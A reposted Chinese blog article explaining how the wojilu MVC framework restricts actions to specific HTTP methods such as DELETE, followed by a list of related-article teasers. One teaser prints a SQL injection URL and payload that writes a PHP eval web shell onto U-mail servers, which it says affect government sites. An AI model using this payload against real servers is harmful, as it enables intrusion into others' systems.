我记录网站综合系统 -- 技术原理解析[9:HttpMethodChecker流程]

news/2024/5/15 18:04:42/文章来源:https://blog.csdn.net/weixin_34355559/article/details/93556962
源代码位置:\Web\Mvc\Processors:HttpMethodChecker.cs                                                
Config ->

    wojilu.Web.Mvc.CoreHandler.ProcessRequest - >

          wojilu.Web.Mvc.CoreHandler.ProcessRequest: ProcessContext.Begin ->

               RouteProcess
                    InitContextProcess

        ActionMethodChecker

                      ForbiddenActionChecker

                      LoginActionChecker 
                      HttpMethodChecker

这个流程,我第一次看到的时候,觉得有些惊讶:

本文转自官方网站文章。

回顾一下前面列表界面,如果要删除一篇文章,点击删除链接,程序就直接将数据删除了,如下图所示:

一般我们需要有一个确认过程,以防止用户误点了“删除”链接。效果如下:

要达到这个效果,您只需要在删除链接的属性class里,再添加一个 deleteCmd 的值即可

注意:前面的delete,用于样式控制,即显示上面的删除图标。后面的 deleteCmd 才用于弹出确认框。

但这个 deleteCmd 更加重要的作用是模拟 Http 的 DELETE 类型操作。弹框提醒只是它的副产品。

我们知道 http1.1规范(rfc2616:http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html)规定了8种类型的操作方法(method):GET/PUT/POST/DELETE/HEAD/OPTIONS/TRACE/CONNECT(前四种更加常用一些)
一般通过浏览器访问一个网页,浏览器发出的都是一个GET类型的请求。而表单提交,一般都是 POST 类型,比如添加文章的表单:

就明确指定了这个form的method="post"。

虽然http1.1规范规定了这么多method,但目前主流的互联网web开发仍然不太规范,使用的较多的只有 GET/POST 两种方法。其余的 PUT/DELETE 等使用的较少。其实这些method自身具备语义性,也能增强web的安全,放弃使用实在太可惜了。

为什么说能增强安全呢?在前面的这个删除例子中,一般情况下,我们是先访问这个列表页面,然后点击删除链接的。但其实您可以拷贝这个删除链接的网址,通过在浏览器网址栏里直接输入,进行访问:

不知道您有没有看出其中的问题?任何人只要访问了这个网址,就会导致数据被删除!如果您在公网上不小心泄露了这个链接,更可怕的事情就会发生:

几乎所有的搜索引擎爬虫都会进入这个网址,爬虫的本意只是索引这个网址的页面内容,却无意中触发了它的副作用:删除了数据!

正确的做法是限定这个网址的http访问的method,让它只能通过 http DELETE方法才能访问,普通的GET方法(搜索引擎爬虫使用GET方法)如果访问,将会出现禁止访问信息。

在 wojilu MVC framework 中,只需要给这个action打上一个批注即可:

这里的 HttpDelete 批注表明这个方法只能通过 DELETE 方法请求访问。如果我们通过GET方式直接在浏览器地址栏输入,则会:

看到了吗?系统提示“Http方法不正确”。实际上,服务器还返回了一个http状态码:

通过 firebug等工具您可以看到,这是一个 405错误。

总结一下,在web开发中,应该尽可能的使用多种Http method,使用的原则是:

1、GET 访问的网址应该没有任何副作用,也就是不会导致数据的修改或删除
2、UPDATE 方法会更新服务器端数据
3、POST 方法会在服务器端添加数据
4、DELETE 方法会删除数据

这四种方法,在 wojilu MVC framework 都有对应的批注:

好了,我们回到前面的列表删除界面,我们在链接的class属性中添加了一个值 deleteCmd ,它的所用就是让 wojilu ajax framework 模拟 DELETE 方法向这个链接发出请求。wojilu ajax framework 同时也定义了其他几种class:

1、putCmd 对应 PUT 方法
2、postCmd 对应 POST 方法
3、deleteCmd 对应 DELETE 方法

总之,为了增强安全性和语义性,您需要

1、给服务器端方法打上Http方法的相应批注;
2、同时在客户端的链接(或其他html元素)中,添加相应方法的属性值。

 

这个流程结束之后,Action的检查大部分已经结束了。(最后还有一个PermissionChecker)

上一篇文章由于广告问题没有放在首页:如果有兴趣可以看一下:

http://www.cnblogs.com/TextEditor/archive/2011/06/16/2081393.html

 

 

转载于:https://www.cnblogs.com/TextEditor/archive/2011/06/16/2081773.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_778646.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

介绍一个Android UI设计网站

为什么80%的码农都做不了架构师?>>> 十分有趣。“Ice Cream Sandwich (Android 4.0) 是我们目前为止最大的一次重新设计——对用户和开发者皆是如此。我们用新的交互和样式增强了UI框架,能让你创建比以往更加简单更加炫丽的Android 应用。为帮…

网站性能

【概述】 在这一章节,我们的主题聚焦在基础设施建设上。 Http Compression(压缩)Content Expirations (内容过期)Content Distribution Networks - CDN(内容分发网络)Etags (E标签)去掉没必要的Http header…

网站运维,运营经典的Firefox插件--助你提高工作效率

最近由于工作需要重新研究web的架构,及运营、运维相关技术。 谈到web-日常使用最多的软件工具之一就是网页浏览器,其中对Firefox情有独钟,因为它有着丰富的插件支持。 我来谈谈我个人的Firefox的几个提高工作效率的插件: 以下是我…

学用MVC4做网站二:用户组

用户组这块要实现的功能如下: 序 一、用户 二、用户组 2.1浏览用户组 2.2添加用户组 2.3修改用户组 2.4删除用户组 用户组类型应该有匿名,受限,正常,和特殊几种类型。 设计这些类型的目的是为了以后权限管理做准备,以后…

图标集锦:10套免费的社交媒体 社交网站图标

社交网络是最近几年互联网领域最热门的关键词之一,如今社会网络化媒体也成为我们信息获取和传播的重要途径,很多网站都有把内容分享到社交媒体的功能。 社交媒体图标作为向用户传递信息的重要媒介,不管是在网页还是 Web 应用程序中都非常需要…

探索 Windows Azure 网站中的自动伸缩功能

去年10月,我们发布了若干针对 WindowsAzure平台的更新,其中一项更新是添加了基于日期的自动伸缩调度支持(在不同的日期设置不同的规则)。 在这篇博客文章中,我们将了解自动伸缩的概念,并了解如…

提高网站并发性的解决方案

为什么80%的码农都做不了架构师?>>> 我在Cernet做过拨号接入平台的搭建,而后在Yahoo3721负载搜索引擎前端平台开发,又在猫扑处理过大型社区猫扑大杂烩的架构升级等工作,同时 自己接触和开发过不少大中型网站的模块&am…

自动浏览器_微软彻底埋葬IE浏览器:当网站不支持时自动打开Edge浏览器

1995年,8月16日,微软正式推出了Internet Explorer(IE)浏览器1.0版,作为Windows 95 Plus增强包的一个附加软件。Internet Explorer 1.0这是微软为了抵抗当时主流的网景浏览器(Netscape Navigator)而开发的自主网络浏览器。Windows 95 Plus25年…

竞拍网站服务器配置,GOM引擎新区竞拍脚本,GOM传奇服务端设置竞拍的方法和教程...

20190801221527.png (881.14 KB, 下载次数: 1)2019-8-1 22:19 上传[main]#if#actLOADVAR HUMAN 竞拍花费 ..QuestDiary数据文件竞拍花费.txt#say开区一小时内拍卖本服唯一**时装,只卖一件,之后再无机会获得!拍卖每次加价100灵符,竞拍失败后必须先领回灵符之后才能再次参与竞拍!…

burpsuite字典_Python攻防之弱口令、自定义字典生成及网站防护

这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Python网络攻防基础知识、Python多线程、C段扫描和数据库编程,本文将分享Python攻防…

没有找到站点_2020年排名前11位的静态网站生成器,有没有你用过的?

随着JAMstack及其社区的发展,静态站点生成器变得越来越流行。在本文中,让我们看一下2020年顶级的静态网站生成器!为什么选择静态网站生成器让我们快速讨论一下静态网站生成器的优点。速度静态站点生成器在构建时生成站点页面,而不…

mysql5.7 赋权_「赋权」mysql创建用户并赋权 - seo实验室

赋权新建一个数据库 ljwcreate database ljw;ain copyuse ljw;select * from user;效果如上图,最后用数据库软件,因为在linux下界面看不清效果,太乱了。从上图可以看到,会列出数据库所有的用户及权限2.创…

python抓取招聘数据_Python爬取招聘网站数据并做数据可视化处理

本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理。以下文章来源于青灯编程 ,作者:清风前言本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理。基本…

wordpress html页面缓存 cdn,wordpress博客使用CloudFlare的CDN来加速网站(页面规则缓存设置教程)...

wordpress博客使用CloudFlare的CDN来加速网站(页面规则缓存设置教程)此篇文章只讲wordpress站点使用CloudFlare CDN的页面规则教程。其他问题可在下方留言,我会一一回复CloudFlare的CDN有一个很好的特点就是可以整站缓存下来,但是整站缓存时我们是无法登…

二、大型网站架构模式

网站架构模式 分层 横向维度,每个部分负责单一的职责。上层对下层依赖和调用。 应用层,服务层和数据层 分割 网站越大,不同功能和服务分割出来形成高内聚低耦合模块单元。 分布式 分布式部署,即将不同模块部署在不同的服务器上&a…

CDN技术--分布式网站架构必备利器

概念 CDN这个概念相信大家都比较耳熟,到底什么是CDN呢? CDN,全称为Content Delivery Network,即内容分发网络。 其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳…

网站前端_JavaScript-基础入门.0008.JavaScript作用范围

基本类型值:说明: 基本类型变量主要在栈内存中保存变量名变量值,变量赋值时解析器如果认定此值为基本类型,则分配固定大小的空间,基本类型包括Undefined, Null, Boolean, Number, String的字面值对象,称为基本类型对象var name 李满满 // 在栈内存中复制一份"李满满"…

大部分政府网站U-mail存在直接拿shell漏洞

大部分网站政府网站U-mail存在直接拿shell漏洞加入webmail/userapply.php?execadd333&DomainID111直接爆出物理地址 然后将 aa union select 1,2,3,4,5,6,<?php eval($_POST1);?>,8,9,10,11,12,13,14 into outfile D:/umail/WorldClient/html/saknc.php#用base64编…

网站嵌入虚拟试衣间方案问题

网站嵌入虚拟试衣间方案问题 好买衣虚拟试衣间目前只接入天猫和淘宝的店铺&#xff0c;只有手机版&#xff0c;不考虑跟其他平台合作。 衣(Yi)没有虚拟试衣功能&#xff0c;PK明星衣品功能可以提供API&#xff0c;虚拟试衣及服饰推荐可以具体沟通后提供定制化的服务&#xff08…

大型分布式网站架构

2019独角兽企业重金招聘Python工程师标准>>> SOA&#xff08;Service-Oriented Architecture 面向服务的体系结构&#xff09; 服务化的体系&#xff0c;即SOA&#xff0c;SOA系统之间以服务的方式来进行交互&#xff0c;这样就保证了交互的标准性&#xff0c;这对一…